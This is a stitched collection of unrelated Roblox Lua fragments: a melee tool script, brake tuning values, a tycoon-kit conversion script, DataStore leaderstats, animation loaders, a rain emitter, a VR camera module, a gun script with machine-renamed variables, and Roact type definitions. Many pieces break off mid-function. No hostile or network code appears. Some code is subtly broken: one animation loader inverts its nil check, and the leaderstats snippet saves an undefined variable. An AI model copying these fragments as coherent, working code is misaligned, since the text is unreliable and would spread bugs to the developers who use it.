function checkTeams(otherHuman) return not (sameTeam(otherHuman) and not FriendlyFire) end function onTouched(part) if part:IsDescendantOf(Tool.Parent) then return end if not HitAble then return end if part.Parent and part.Parent:FindFirstChild("Humanoid") then local human = part.Parent.Humanoid if contains(HitVictims, human) then return end local root = part.Parent:FindFirstChild("HumanoidRootPart") if root and not root.Anchored then local myRoot = Tool.Parent:FindFirstChild("HumanoidRootPart") if myRoot and checkTeams(human) then local delta = root.Position - myRoot.Position human.Sit = true tagHuman(human) human:TakeDamage(HitDamage) table.insert(HitVictims, human) local bv = Instance.new("BodyVelocity") bv.maxForce = Vector3.new(1e9, 1e9, 1e9) bv.velocity = delta.unit * 128 bv.Parent = root game:GetService("Debris"):AddItem(bv, 0.05) Handle.Smack.Pitch = math.random(90, 110)/100 Handle.Smack.TimePosition = 0.15 Handle.Smack:Play() end end end end function onEquip() --put in our right arm local char = Tool.Parent local arm = Tool.ArmMesh:Clone() arm.Parent = char:FindFirstChild("Right Arm") ArmMesh = arm end function onUnequip() if ArmMesh then ArmMesh:Destroy() ArmMesh = nil end end function onLeftDown() if not SwingAble then return end SwingAble = false delay(SwingRestTime, function() SwingAble = true end) delay(HitWindup, function() HitAble = true delay(HitWindow, function() HitAble = false end) end) HitVictims = {} Remote:FireClient(getPlayer(), "PlayAnimation", "Swing") wait(0.25) Handle.Boom.Pitch = math.random(80, 100)/100 Handle.Boom:Play() end function onRemote(player, func, ...) if player ~= getPlayer() then return end if func == "LeftDown" then onLeftDown(...) end end Tool.Equipped:connect(onEquip) Tool.Unequipped:connect(onUnequip) Handle.Touched:connect(onTouched) Remote.OnServerEvent:connect(onRemote)
-- force = Instance.new("BodyThrust") -- force.force = Tool.Parent.Torso.CFrame.lookVector * 400 -- force.Parent = Tool.Parent.Torso
Tool.GripForward = Vector3.new(0,-1,0) Tool.GripPos = Vector3.new(0,0.4,0.5) wait(0.08) Tool.GripForward = Vector3.new(0,-1,1.5) Tool.GripPos = Vector3.new(0,0.4,0) Tool.GripRight = Vector3.new(1,0.3,0) wait(0.08) Tool.GripForward = Vector3.new(0,-1,3) Tool.GripPos = Vector3.new(0,0.4,-0.4) Tool.GripRight = Vector3.new(1,0.7,0) wait(0.08) Tool.GripForward = Vector3.new(0,-1,6) Tool.GripPos = Vector3.new(0,0.4,-1) wait(0.15) Tool.GripForward = Vector3.new(0,-1,3) Tool.GripPos = Vector3.new(0,0.4,-0.4) Tool.GripRight = Vector3.new(1,0.4,0) wait(0.15) Tool.GripForward = Vector3.new(0,-1,2) Tool.GripPos = Vector3.new(0,0.4,-0.3) wait(0.15) Tool.GripForward = Vector3.new(0,-1,1) Tool.GripPos = Vector3.new(0,0.4,-0.3) wait(0.15) Tool.GripForward = Vector3.new(0,-1,.6) Tool.GripPos = Vector3.new(0,0.6,-0.3) Tool.GripRight = Vector3.new(1,0.2,0) wait(0.15) Tool.GripForward = Vector3.new(0,-1,.3) Tool.GripPos = Vector3.new(0,0.8,-0) wait(0.20) Tool.GripForward = Vector3.new(0,-1,0) Tool.GripPos = Vector3.new(0,0.4,0.5) Tool.GripRight = Vector3.new(1,0,0)
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 3100 -- Front brake force Tune.RBrakeForce = 3100 -- Rear brake force Tune.PBrakeForce = 5000 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
-- Place in character if was equipped
if wasEquipped then script.Parent.Parent = plr.Character end
--♂
local pivot = script.Parent.Pivot local TS = game:GetService("TweenService") local CD = Instance.new("ClickDetector",script.Parent.Lid) CD.MaxActivationDistance = 5 local deb = false local toggle = false CD.MouseClick:Connect(function() if not deb then deb = true local anim if not toggle then anim = TS:Create(pivot,TweenInfo.new(.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),{CFrame = pivot.CFrame*CFrame.Angles(math.rad(160),0,0)}) else anim = TS:Create(pivot,TweenInfo.new(.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),{CFrame = pivot.CFrame*CFrame.Angles(-math.rad(160),0,0)}) end anim.Completed:Connect(function() toggle = not toggle deb = false end) anim:Play() end end)
--//Controller//--
SpawnEvent.OnClientEvent:Connect(function(SpawnPoint) local Crate = script.Crate:Clone() Crate.Parent = game.Workspace.DraggableParts Crate.CFrame = SpawnPoint.WorldCFrame end)
--CHANGE THE NAME, COPY ALL BELOW, AND PAST INTO COMMAND BAR
local TycoonName = "Green Lantern Tycoon" if game.Workspace:FindFirstChild(TycoonName) then local s = nil local bTycoon = game.Workspace:FindFirstChild(TycoonName) local zTycoon = game.Workspace:FindFirstChild("Zednov's Tycoon Kit") local new_Collector = zTycoon['READ ME'].Script:Clone() local Gate = zTycoon.Tycoons:GetChildren()[1].Entrance['Touch to claim!'].GateControl:Clone() if zTycoon then for i,v in pairs(zTycoon.Tycoons:GetChildren()) do --Wipe current tycoon 'demo' if v then s = v.PurchaseHandler:Clone() v:Destroy() end end -- Now make it compatiable if s ~= nil then for i,v in pairs(bTycoon.Tycoons:GetChildren()) do local New_Tycoon = v:Clone() New_Tycoon:FindFirstChild('PurchaseHandler'):Destroy() s:Clone().Parent = New_Tycoon local Team_C = Instance.new('BrickColorValue',New_Tycoon) Team_C.Value = BrickColor.new(tostring(v.Name)) Team_C.Name = "TeamColor" New_Tycoon.Name = v.TeamName.Value New_Tycoon.Cash.Name = "CurrencyToCollect" New_Tycoon.Parent = zTycoon.Tycoons New_Tycoon.TeamName:Destroy() v:Destroy() New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0').NameUpdater:Destroy() local n = new_Collector:Clone() n.Parent = New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0') n.Disabled = false New_Tycoon.Gate['Touch to claim ownership!'].GateControl:Destroy() local g = Gate:Clone() g.Parent = New_Tycoon.Gate['Touch to claim ownership!'] end else error("Please don't tamper with script names or this won't work!") end else error("Please don't change the name of our tycoon kit or it won't work!") end bTycoon:Destroy() Gate:Destroy() new_Collector:Destroy() print('Transfer complete! :)') else error("Check if you spelt the kit's name wrong!") end
--Don't worry about the rest of the code, except for line 25.
game.Players.PlayerAdded:connect(function(player) local leader = Instance.new("Folder",player) leader.Name = "leaderstats" local Cash = Instance.new("IntValue",leader) Cash.Name = stat Cash.Value = ds:GetAsync(player.UserId) or startamount ds:SetAsync(player.UserId, Money.Value) Cash.Changed:connect(function() ds:SetAsync(player.UserId, Money.Value) end) end) game.Players.PlayerRemoving:connect(function(player) ds:SetAsync(player.UserId, player.leaderstats.Money.Value) --Change "Points" to the name of your leaderstat. end)
--print("Loading anims " .. name)
table.insert(animTable[name].connections, config.ChildAdded:Connect(function(child) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, config.ChildRemoved:Connect(function(child) configureAnimationSet(name, fileList) end)) local idx = 1 for _, childPart in pairs(config:GetChildren()) do if (childPart:IsA("Animation")) then table.insert(animTable[name].connections, childPart.Changed:Connect(function(property) configureAnimationSet(name, fileList) end)) animTable[name][idx] = {} animTable[name][idx].anim = childPart local weightObject = childPart:FindFirstChild("Weight") if (weightObject == nil) then animTable[name][idx].weight = 1 else animTable[name][idx].weight = weightObject.Value end animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
-- ROBLOX deviation: isToStringedArrayType omitted because lua has no typed arrays
local printer, createIndent local function printNumber(val: number): string -- explicitly check for nan because string representation is platform dependent if isNaN(val) then return "nan" end return tostring(val) end
-- emitter block around camera used when outside
local Emitter do Emitter = Instance.new("Part") Emitter.Transparency = 1 Emitter.Anchored = true Emitter.CanCollide = false Emitter.Locked = false Emitter.Archivable = false Emitter.TopSurface = Enum.SurfaceType.Smooth Emitter.BottomSurface = Enum.SurfaceType.Smooth Emitter.Name = "__RainEmitter" Emitter.Size = MIN_SIZE Emitter.Archivable = false local straight = Instance.new("ParticleEmitter") straight.Name = "RainStraight" straight.LightEmission = RAIN_DEFAULT_LIGHTEMISSION straight.LightInfluence = RAIN_DEFAULT_LIGHTINFLUENCE straight.Size = RAIN_STRAIGHT_SIZE straight.Texture = RAIN_STRAIGHT_ASSET straight.LockedToPart = true straight.Enabled = false straight.Lifetime = RAIN_STRAIGHT_LIFETIME straight.Rate = RAIN_STRAIGHT_MAX_RATE straight.Speed = NumberRange.new(RAIN_STRAIGHT_MAX_SPEED) straight.EmissionDirection = Enum.NormalId.Bottom straight.Parent = Emitter straight.Orientation = Enum.ParticleOrientation.FacingCameraWorldUp local topdown = Instance.new("ParticleEmitter") topdown.Name = "RainTopDown" topdown.LightEmission = RAIN_DEFAULT_LIGHTEMISSION topdown.LightInfluence = RAIN_DEFAULT_LIGHTINFLUENCE topdown.Size = RAIN_TOPDOWN_SIZE topdown.Texture = RAIN_TOPDOWN_ASSET topdown.LockedToPart = true topdown.Enabled = false topdown.Rotation = RAIN_TOPDOWN_ROTATION topdown.Lifetime = RAIN_TOPDOWN_LIFETIME topdown.Rate = RAIN_TOPDOWN_MAX_RATE topdown.Speed = NumberRange.new(RAIN_TOPDOWN_MAX_SPEED) topdown.EmissionDirection = Enum.NormalId.Bottom topdown.Parent = Emitter end local splashAttachments, rainAttachments do splashAttachments = {} rainAttachments = {} for i = 1, RAIN_SPLASH_NUM do -- splashes on ground local splashAttachment = Instance.new("Attachment") splashAttachment.Name = "__RainSplashAttachment" local splash = Instance.new("ParticleEmitter") splash.LightEmission = RAIN_DEFAULT_LIGHTEMISSION splash.LightInfluence = RAIN_DEFAULT_LIGHTINFLUENCE splash.Size = RAIN_SPLASH_SIZE splash.Texture = RAIN_SPLASH_ASSET splash.Rotation = RAIN_SPLASH_ROTATION splash.Lifetime = RAIN_SPLASH_LIFETIME splash.Transparency = NumberSequence.new { NSK010; NumberSequenceKeypoint.new(RAIN_TRANSPARENCY_T1, RAIN_SPLASH_ALPHA_LOW, 0); NumberSequenceKeypoint.new(RAIN_TRANSPARENCY_T2, RAIN_SPLASH_ALPHA_LOW, 0); NSK110; } splash.Enabled = false splash.Rate = 0 splash.Speed = NumberRange.new(0) splash.Name = "RainSplash" splash.Parent = splashAttachment splashAttachment.Archivable = false table.insert(splashAttachments, splashAttachment) -- occluded rain particle generation local rainAttachment = Instance.new("Attachment") rainAttachment.Name = "__RainOccludedAttachment" local straightOccluded = Emitter.RainStraight:Clone() straightOccluded.Speed = NumberRange.new(RAIN_OCCLUDED_MINSPEED, RAIN_OCCLUDED_MAXSPEED) straightOccluded.SpreadAngle = RAIN_OCCLUDED_SPREAD straightOccluded.LockedToPart = false straightOccluded.Enabled = false straightOccluded.Parent = rainAttachment local topdownOccluded = Emitter.RainTopDown:Clone() topdownOccluded.Speed = NumberRange.new(RAIN_OCCLUDED_MINSPEED, RAIN_OCCLUDED_MAXSPEED) topdownOccluded.SpreadAngle = RAIN_OCCLUDED_SPREAD topdownOccluded.LockedToPart = false topdownOccluded.Enabled = false topdownOccluded.Parent = rainAttachment rainAttachment.Archivable = false table.insert(rainAttachments, rainAttachment) end end
--[=[ Starts the observable with the given value from the callback http://reactivex.io/documentation/operators/start.html @param callback function @return (source: Observable) -> Observable ]=]
function Rx.start(callback) return function(source) assert(Observable.isObservable(source), "Bad observable") return Observable.new(function(sub) sub:Fire(callback()) return source:Subscribe(sub:GetFireFailComplete()) end) end end
-- print("Loading anims " .. Name)
table.insert(AnimTable[Name].Connections, Config.ChildAdded:connect(function(Child) ConfigureAnimationSet(Name, FileList) end)) table.insert(AnimTable[Name].Connections, Config.ChildRemoved:connect(function(Child) ConfigureAnimationSet(Name, FileList) end)) local Index = 1 for i, ChildPart in pairs(Config:GetChildren()) do if (ChildPart:IsA("Animation")) then table.insert(AnimTable[Name].Connections, ChildPart.Changed:connect(function(Property) ConfigureAnimationSet(Name, FileList) end)) AnimTable[Name][Index] = {} AnimTable[Name][Index].Anim = ChildPart local WeightObject = ChildPart:FindFirstChild("Weight") if WeightObject then AnimTable[Name][Index].Weight = 1 else AnimTable[Name][Index].Weight = WeightObject.Value end AnimTable[Name].Count = AnimTable[Name].Count + 1 AnimTable[Name].TotalWeight = AnimTable[Name].TotalWeight + AnimTable[Name][Index].Weight -- print(Name .. " [" .. Index .. "] " .. AnimTable[Name][Index].Anim.AnimationId .. " (" .. AnimTable[Name][Index].Weight .. ")") Index = Index + 1 end end end -- fallback to defaults if AnimTable[Name].Count <= 0 then for Index, Anim in pairs(FileList) do AnimTable[Name][Index] = {} AnimTable[Name][Index].Anim = Instance.new("Animation") AnimTable[Name][Index].Anim.Name = Name AnimTable[Name][Index].Anim.AnimationId = Anim.Id AnimTable[Name][Index].Weight = Anim.Weight AnimTable[Name].Count = AnimTable[Name].Count + 1 AnimTable[Name].TotalWeight = AnimTable[Name].TotalWeight + Anim.Weight
--[=[ Gets a signal that will fire when the Brio dies. If the brio is already dead calling this method will error. :::info Calling this while the brio is already dead will throw a error. ::: ```lua local brio = Brio.new("a", "b") brio:GetDiedSignal():Connect(function() print("Brio died") end) brio:Kill() --> Brio died brio:Kill() -- no output ``` @return Signal ]=]
function Brio:GetDiedSignal() if self:IsDead() then error("Brio is dead") end if self._diedEvent then return self._diedEvent end self._diedEvent = GoodSignal.new() return self._diedEvent end
--[[ The Module ]]
-- local VRBaseCamera = require(script.Parent:WaitForChild("VRBaseCamera")) local VRCamera = setmetatable({}, VRBaseCamera) VRCamera.__index = VRCamera local FFlagUserFlagEnableVRUpdate3 do local success, result = pcall(function() return UserSettings():IsUserFeatureEnabled("UserFlagEnableVRUpdate3") end) FFlagUserFlagEnableVRUpdate3 = success and result end function VRCamera.new() local self = setmetatable(VRBaseCamera.new(), VRCamera) self.lastUpdate = tick() self:Reset() return self end function VRCamera:Reset() self.needsReset = true self.needsBlackout = true self.motionDetTime = 0.0 self.blackOutTimer = 0 self.lastCameraResetPosition = nil self.stepRotateTimeout = 0.0 self.cameraOffsetRotation = 0 self.cameraOffsetRotationDiscrete = 0 end function VRCamera:Update(timeDelta) local camera = workspace.CurrentCamera local newCameraCFrame = camera.CFrame local newCameraFocus = camera.Focus local player = PlayersService.LocalPlayer local humanoid = self:GetHumanoid() local cameraSubject = camera.CameraSubject if self.lastUpdate == nil or timeDelta > 1 then self.lastCameraTransform = nil end self:StepZoom() -- update fullscreen effects self:UpdateFadeFromBlack(timeDelta) self:UpdateEdgeBlur(player, timeDelta) local lastSubjPos = self.lastSubjectPosition local subjectPosition: Vector3 = self:GetSubjectPosition() -- transition from another camera or from spawn if self.needsBlackout then self:StartFadeFromBlack() local dt = math.clamp(timeDelta, 0.0001, 0.1) self.blackOutTimer += dt if self.blackOutTimer > CAMERA_BLACKOUT_TIME and game:IsLoaded() then self.needsBlackout = false self.needsReset = true end end if subjectPosition and player and camera then newCameraFocus = self:GetVRFocus(subjectPosition, timeDelta) if self:IsInFirstPerson() then -- update camera CFrame newCameraCFrame, newCameraFocus = self:UpdateFirstPersonTransform( timeDelta,newCameraCFrame, newCameraFocus, lastSubjPos, subjectPosition) else -- 3rd person -- update camera CFrame newCameraCFrame, newCameraFocus = self:UpdateThirdPersonTransform( timeDelta, newCameraCFrame, newCameraFocus, lastSubjPos, subjectPosition) end self.lastCameraTransform = newCameraCFrame self.lastCameraFocus = newCameraFocus end self.lastUpdate = tick() return newCameraCFrame, newCameraFocus end function VRCamera:UpdateFirstPersonTransform(timeDelta, newCameraCFrame, newCameraFocus, lastSubjPos, subjectPosition) -- transition from TP to FP if self.needsReset then self:StartFadeFromBlack() self.needsReset = false self.stepRotateTimeout = 0.25 self.VRCameraFocusFrozen = true self.cameraOffsetRotation = 0 self.cameraOffsetRotationDiscrete = 0 end -- blur screen edge during movement local player = PlayersService.LocalPlayer local subjectDelta = lastSubjPos - subjectPosition if subjectDelta.magnitude > 0.01 then self:StartVREdgeBlur(player) end -- straight view, not angled down local cameraFocusP = newCameraFocus.p local cameraLookVector = self:GetCameraLookVector() cameraLookVector = Vector3.new(cameraLookVector.X, 0, cameraLookVector.Z).Unit if self.stepRotateTimeout > 0 then self.stepRotateTimeout -= timeDelta end -- step rotate in 1st person local rotateInput = CameraInput.getRotation() local yawDelta = 0 if FFlagUserFlagEnableVRUpdate3 and UserGameSettings.VRSmoothRotationEnabled then yawDelta = rotateInput.X else if self.stepRotateTimeout <= 0.0 and math.abs(rotateInput.X) > 0.03 then yawDelta = 0.5 if rotateInput.X < 0 then yawDelta = -0.5 end self.needsReset = true end end local newLookVector = self:CalculateNewLookVectorFromArg(cameraLookVector, Vector2.new(yawDelta, 0)) newCameraCFrame = CFrame.new(cameraFocusP - (FP_ZOOM * newLookVector), cameraFocusP) return newCameraCFrame, newCameraFocus end function VRCamera:UpdateThirdPersonTransform(timeDelta, newCameraCFrame, newCameraFocus, lastSubjPos, subjectPosition) local zoom = self:GetCameraToSubjectDistance() if zoom < 0.5 then zoom = 0.5 end if lastSubjPos ~= nil and self.lastCameraFocus ~= nil then -- compute delta of subject since last update local player = PlayersService.LocalPlayer local subjectDelta = lastSubjPos - subjectPosition local moveVector = require(player:WaitForChild("PlayerScripts").PlayerModule:WaitForChild("ControlModule")):GetMoveVector() -- is the subject still moving? local isMoving = subjectDelta.magnitude > 0.01 or moveVector.magnitude > 0.01 if isMoving then self.motionDetTime = 0.1 end self.motionDetTime = self.motionDetTime - timeDelta if self.motionDetTime > 0 then isMoving = true end if isMoving and not self.needsReset then -- if subject moves keep old camera focus newCameraFocus = self.lastCameraFocus -- if the focus subject stopped, time to reset the camera self.VRCameraFocusFrozen = true else local subjectMoved = self.lastCameraResetPosition == nil or (subjectPosition - self.lastCameraResetPosition).Magnitude > 1 -- compute offset for 3rd person camera rotation local rotateInput = CameraInput.getRotation() local userCameraPan = FFlagUserFlagEnableVRUpdate3 and rotateInput ~= Vector2.new() local panUpdate = false if userCameraPan then if rotateInput.X ~= 0 then local tempRotation = self.cameraOffsetRotation + rotateInput.X; if(tempRotation < -math.pi) then tempRotation = math.pi - (tempRotation + math.pi) else if (tempRotation > math.pi) then tempRotation = -math.pi + (tempRotation - math.pi) end end self.cameraOffsetRotation = math.clamp(tempRotation, -math.pi, math.pi) if UserGameSettings.VRSmoothRotationEnabled then self.cameraOffsetRotationDiscrete = self.cameraOffsetRotation -- get player facing direction local humanoid = self:GetHumanoid() local forwardVector = humanoid.Torso and humanoid.Torso.CFrame.lookVector or Vector3.new(1,0,0) -- adjust camera height local vecToCameraAtHeight = Vector3.new(forwardVector.X, 0, forwardVector.Z) local newCameraPos = newCameraFocus.Position - vecToCameraAtHeight * zoom -- compute new cframe at height level to subject local lookAtPos = Vector3.new(newCameraFocus.Position.X, newCameraPos.Y, newCameraFocus.Position.Z) local tempCF = CFrame.new(newCameraPos, lookAtPos) tempCF = tempCF * CFrame.fromAxisAngle(Vector3.new(0,1,0), self.cameraOffsetRotationDiscrete) newCameraPos = lookAtPos - (tempCF.LookVector * (lookAtPos - newCameraPos).Magnitude) newCameraCFrame = CFrame.new(newCameraPos, lookAtPos) else local tempRotDisc = math.floor(self.cameraOffsetRotation * 12 / 12) if tempRotDisc ~= self.cameraOffsetRotationDiscrete then self.cameraOffsetRotationDiscrete = tempRotDisc panUpdate = true end end end end -- recenter the camera on teleport if (self.VRCameraFocusFrozen and subjectMoved) or self.needsReset or panUpdate then if not panUpdate then self.cameraOffsetRotationDiscrete = 0 self.cameraOffsetRotation = 0 end VRService:RecenterUserHeadCFrame() self.VRCameraFocusFrozen = false self.needsReset = false self.lastCameraResetPosition = subjectPosition self:ResetZoom() self:StartFadeFromBlack() -- get player facing direction local humanoid = self:GetHumanoid() local forwardVector = humanoid.Torso and humanoid.Torso.CFrame.lookVector or Vector3.new(1,0,0) -- adjust camera height local vecToCameraAtHeight = Vector3.new(forwardVector.X, 0, forwardVector.Z) local newCameraPos = newCameraFocus.Position - vecToCameraAtHeight * zoom -- compute new cframe at height level to subject local lookAtPos = Vector3.new(newCameraFocus.Position.X, newCameraPos.Y, newCameraFocus.Position.Z) if FFlagUserFlagEnableVRUpdate3 and self.cameraOffsetRotation ~= 0 then local tempCF = CFrame.new(newCameraPos, lookAtPos) tempCF = tempCF * CFrame.fromAxisAngle(Vector3.new(0,1,0), self.cameraOffsetRotationDiscrete) newCameraPos = lookAtPos - (tempCF.LookVector * (lookAtPos - newCameraPos).Magnitude) end newCameraCFrame = CFrame.new(newCameraPos, lookAtPos) end end end return newCameraCFrame, newCameraFocus end function VRCamera:EnterFirstPerson() self.inFirstPerson = true self:UpdateMouseBehavior() end function VRCamera:LeaveFirstPerson() self.inFirstPerson = false self.needsReset = true self:UpdateMouseBehavior() if self.VRBlur then self.VRBlur.Visible = false end end return VRCamera
--[=[ Constructs a new queue @return Queue<T> ]=]
function Queue.new() return setmetatable({ _first = 0; _last = -1; }, Queue) end
-- Formerly getCurrentCameraMode, this function resolves developer and user camera control settings to -- decide which camera control module should be instantiated. The old method of converting redundant enum types
function CameraModule:GetCameraControlChoice() local player = Players.LocalPlayer if player then if self.lastInputType == Enum.UserInputType.Touch or UserInputService.TouchEnabled then -- Touch if player.DevTouchCameraMode == Enum.DevTouchCameraMovementMode.UserChoice then return CameraUtils.ConvertCameraModeEnumToStandard( UserGameSettings.TouchCameraMovementMode ) else return CameraUtils.ConvertCameraModeEnumToStandard( player.DevTouchCameraMode ) end else -- Computer if player.DevComputerCameraMode == Enum.DevComputerCameraMovementMode.UserChoice then local computerMovementMode = CameraUtils.ConvertCameraModeEnumToStandard(UserGameSettings.ComputerCameraMovementMode) return CameraUtils.ConvertCameraModeEnumToStandard(computerMovementMode) else return CameraUtils.ConvertCameraModeEnumToStandard(player.DevComputerCameraMode) end end end end function CameraModule:OnCharacterAdded(char, player) if self.activeOcclusionModule then self.activeOcclusionModule:CharacterAdded(char, player) end end function CameraModule:OnCharacterRemoving(char, player) if self.activeOcclusionModule then self.activeOcclusionModule:CharacterRemoving(char, player) end end function CameraModule:OnPlayerAdded(player) player.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char, player) end) player.CharacterRemoving:Connect(function(char) self:OnCharacterRemoving(char, player) end) end function CameraModule:OnMouseLockToggled() if self.activeMouseLockController then local mouseLocked = self.activeMouseLockController:GetIsMouseLocked() local mouseLockOffset = self.activeMouseLockController:GetMouseLockOffset() if self.activeCameraController then self.activeCameraController:SetIsMouseLocked(mouseLocked) self.activeCameraController:SetMouseLockOffset(mouseLockOffset) end end end local cameraModuleObject = CameraModule.new() return cameraModuleObject
-- Make the AnimBase
L_18_ = Instance.new("Part", L_3_) L_18_.FormFactor = "Custom" L_18_.CanCollide = false L_18_.Transparency = 1 L_18_.Anchored = false L_18_.Name = "AnimBase" L_19_ = Instance.new("Motor6D") L_19_.Part0 = L_18_ L_19_.Part1 = L_58_ L_19_.Parent = L_18_ L_19_.Name = "AnimBaseW" --AnimBaseW.C1 = gunSettings.StartPose L_15_ = Instance.new("Motor6D") L_15_.Part0 = L_3_['Right Arm'] L_15_.Part1 = L_1_:FindFirstChild('Grip') L_15_.Parent = L_3_['Right Arm'] L_15_.C1 = L_12_.GunPos L_15_.Name = "Grip" for L_60_forvar1, L_61_forvar2 in pairs(L_1_:GetChildren()) do if L_61_forvar2:IsA("Part") or L_61_forvar2:IsA("MeshPart") or L_61_forvar2:IsA("UnionOperation") then L_61_forvar2.Anchored = true if L_61_forvar2.Name ~= "Grip" and L_61_forvar2.Name ~= "Bolt" and L_61_forvar2.Name ~= 'Lid' then Weld(L_61_forvar2, L_1_:WaitForChild("Grip")) end if L_61_forvar2.Name == "Bolt" then if L_1_:FindFirstChild('BoltHinge') then Weld(L_61_forvar2, L_1_:WaitForChild("BoltHinge")) else Weld(L_61_forvar2, L_1_:WaitForChild("Grip")) end end; if L_61_forvar2.Name == "Lid" then if L_1_:FindFirstChild('LidHinge') then Weld(L_61_forvar2, L_1_:WaitForChild("LidHinge")) else Weld(L_61_forvar2, L_1_:WaitForChild("Grip")) end end end end for L_62_forvar1, L_63_forvar2 in pairs(L_13_:GetChildren()) do if L_63_forvar2:IsA('Part') then Weld(L_63_forvar2, L_1_:WaitForChild("Grip")) end end for L_64_forvar1, L_65_forvar2 in pairs(L_13_:GetChildren()) do if L_65_forvar2:IsA('Part') then L_65_forvar2.Anchored = false end end for L_66_forvar1, L_67_forvar2 in pairs(L_1_:GetChildren()) do if L_67_forvar2:IsA("Part") or L_67_forvar2:IsA("MeshPart") or L_67_forvar2:IsA("UnionOperation") then L_67_forvar2.Anchored = false end end L_20_ = L_3_['Right Arm'] L_21_ = L_3_['Left Arm'] L_24_ = L_3_.Torso:WaitForChild("Right Shoulder") L_25_ = L_3_.Torso:WaitForChild("Left Shoulder") L_22_ = Instance.new("Motor6D") L_22_.Name = "RAW" L_22_.Part0 = L_18_ L_22_.Part1 = L_20_ L_22_.Parent = L_18_ L_22_.C1 = L_12_.RightArmPos L_3_.Torso:WaitForChild("Right Shoulder").Part1 = nil L_23_ = Instance.new("Motor6D") L_23_.Name = "LAW" L_23_.Part0 = L_18_ L_23_.Part1 = L_21_ L_23_.Parent = L_18_ L_23_.C1 = L_12_.LeftArmPos L_3_.Torso:WaitForChild("Left Shoulder").Part1 = nil L_14_ = L_8_:WaitForChild('MainGui'):clone() L_14_.Parent = L_2_.PlayerGui L_27_ = L_58_:FindFirstChild('AHH') or L_6_:WaitForChild('AHH'):clone() L_27_.Parent = L_3_.Head if L_32_ then L_32_:Destroy() end L_33_:FireClient(L_2_, true, L_15_, L_18_, L_19_, L_22_, L_23_, L_17_) end) L_1_.Unequipped:connect(function() local L_68_ = L_3_:FindFirstChild('Torso') local L_69_ = L_3_:FindFirstChild('Head') L_32_ = Instance.new('Model', L_3_) L_32_.Name = "HolsterModel" for L_70_forvar1, L_71_forvar2 in pairs(L_1_:GetChildren()) do for L_72_forvar1, L_73_forvar2 in pairs(L_71_forvar2:GetChildren()) do if L_73_forvar2.ClassName == "Motor6D" then L_73_forvar2:Destroy() end end end for L_74_forvar1, L_75_forvar2 in pairs(L_1_:GetChildren()) do if L_75_forvar2:IsA("Part") or L_75_forvar2:IsA("MeshPart") or L_75_forvar2:IsA("UnionOperation") then L_75_forvar2.Anchored = true end end if L_3_.Humanoid and L_3_.Humanoid.Health > 0 then L_3_.HumanoidRootPart.RootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) L_68_['Right Hip'].C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0) L_68_['Left Hip'].C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) L_17_.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) L_3_.HumanoidRootPart.RootJoint.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) L_68_['Right Hip'].C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) L_68_['Left Hip'].C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) L_17_.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) end L_68_:WaitForChild("Neck").Part1 = L_69_ L_68_:WaitForChild("Neck").C1 = L_68_:WaitForChild("Neck").C1 L_68_:WaitForChild("Neck").C0 = L_68_:WaitForChild("Neck").C0 L_18_:Destroy() L_17_:Destroy() L_24_.Part1 = L_20_ L_25_.Part1 = L_21_ if L_69_:FindFirstChild('AHH') then L_69_.AHH:Destroy() end L_33_:FireClient(L_2_, false) if L_12_.HolsteringEnabled then for L_77_forvar1, L_78_forvar2 in pairs(L_1_:GetChildren()) do if L_78_forvar2:IsA("Part") or L_78_forvar2:IsA("MeshPart") or L_78_forvar2:IsA("UnionOperation") then L_78_forvar2.Anchored = true local L_79_ = L_78_forvar2:clone() L_79_.Parent = L_32_ end end; for L_80_forvar1, L_81_forvar2 in pairs(L_32_:GetChildren()) do Weld(L_81_forvar2, L_32_:WaitForChild("Grip")) end local L_76_ = Weld(L_32_:WaitForChild("Grip"), L_3_:WaitForChild('Torso')) L_76_.Name = "TWeld" L_76_.C1 = L_12_.HolsterPos for L_82_forvar1, L_83_forvar2 in pairs(L_32_:GetChildren()) do L_83_forvar2.Anchored = false end end end) L_3_.Humanoid.Died:connect(function() L_33_:FireClient(L_2_, false) end)
-- ROBLOX deviation END: binding support
type MutableSourceVersion = ReactTypes.MutableSourceVersion type MutableSource<Source> = ReactTypes.MutableSource<Source> type MutableSourceSubscribeFn<Source, Snapshot> = ReactTypes.MutableSourceSubscribeFn< Source, Snapshot > type MutableSourceGetSnapshotFn<Source, Snapshot> = ReactTypes.MutableSourceGetSnapshotFn< Source, Snapshot > type BasicStateAction<S> = ((S) -> S) | S type Dispatch<A> = (A) -> () export type Dispatcher = { readContext: <T>( context: ReactContext<T>, observedBits: nil | number | boolean ) -> T, useState: <S>(initialState: (() -> S) | S) -> (S, Dispatch<BasicStateAction<S>>), useReducer: <S, I, A>( reducer: (S, A) -> S, initialArg: I, init: ((I) -> S)? ) -> (S, Dispatch<A>), useContext: <T>( context: ReactContext<T>, observedBits: nil | number | boolean ) -> T, -- ROBLOX deviation START: TS models this slightly differently, which is needed to have an initially empty ref and clear the ref, and still typecheck useRef: <T>(initialValue: T) -> { current: T | nil }, -- ROBLOX deviation END -- ROBLOX deviation START: Bindings are a feature unique to Roact useBinding: <T>(initialValue: T) -> (ReactBinding<T>, ReactBindingUpdater<T>), -- ROBLOX deviation END useEffect: ( -- ROBLOX 